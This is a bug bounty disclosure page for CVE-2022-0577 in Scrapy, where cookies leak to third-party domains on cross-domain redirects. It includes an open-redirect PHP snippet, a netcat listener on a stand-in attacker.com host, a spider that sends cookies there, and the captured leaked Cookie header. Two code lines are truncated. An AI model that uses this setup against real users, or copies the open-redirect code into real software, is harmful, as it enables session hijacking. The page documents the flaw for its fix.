Exposure of Sensitive Information to an Unauthorized Actor in scrapy/scrapy

1

Valid Reported on Jan 5th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When you crawling a site with cookie and it received `Location` header to redirect then scrappy send all cookie to this redirect url even if this is different domain . But every browser works different way . browser does not send cookie of one domain to other domain due to same-origin-policy . As cookie is main way for user authentication ,so if cookie is leaked then attacker can performed any action using those leaked cookie . But here scrapy leaked cookie to thirdparty site if redirect happen .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we redirect. */
exit;
?>
```

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPODUCE

run bellow code

```
class QuotesSpider(scrapy.Spider):
    name = "quotes"

    def start_requests(self):
        urls = [
                'http://mysite.com/redirect.php?url=http://attacker.com:818
        ]
        for url in urls:
            yield scrapy.Request(url=url,cookies={'currency': 'USD', 'count

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')
```

response received in attacker netcat

```
Connection from 127.0.0.1 46190 received!
GET /robots.txt HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
User-Agent: Scrapy/2.5.1 (+https://scrapy.org)
Accept-Encoding: gzip, deflate, br
Cookie: currency=USD; country=UY
Host: mysite.com:8182
```

So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

CVE
CVE-2022-0577
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

This report was seen 521 times.

We are processing your report and will contact the **scrapy** team within 24 hours. a year ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

We have opened a **pull request** with a `SECURITY.md` for **scrapy** to merge. a year ago

Adrián Chaves validated this vulnerability 9 months ago

ranjit-git has been awarded the disclosure bounty

Tanjit Gill has been awarded the disclosure bounty

The fix bounty is now up for grabs

Adrián Chaves 9 months ago Maintainer

Thank you. We are working on a fix.

We have sent a fix follow up to the **scrapy** team. We will try again in 7 days. 9 months ago

We have sent a second fix follow up to the **scrapy** team. We will try again in 10 days. 9 months ago

Adrián Chaves marked this as fixed in **2.6.1** with commit **8ce01b** 9 months ago

The fix bounty has been dropped ✕

This vulnerability will not receive a CVE ✕

Sign in to join this conversation

terms

privacy policy

Chat with us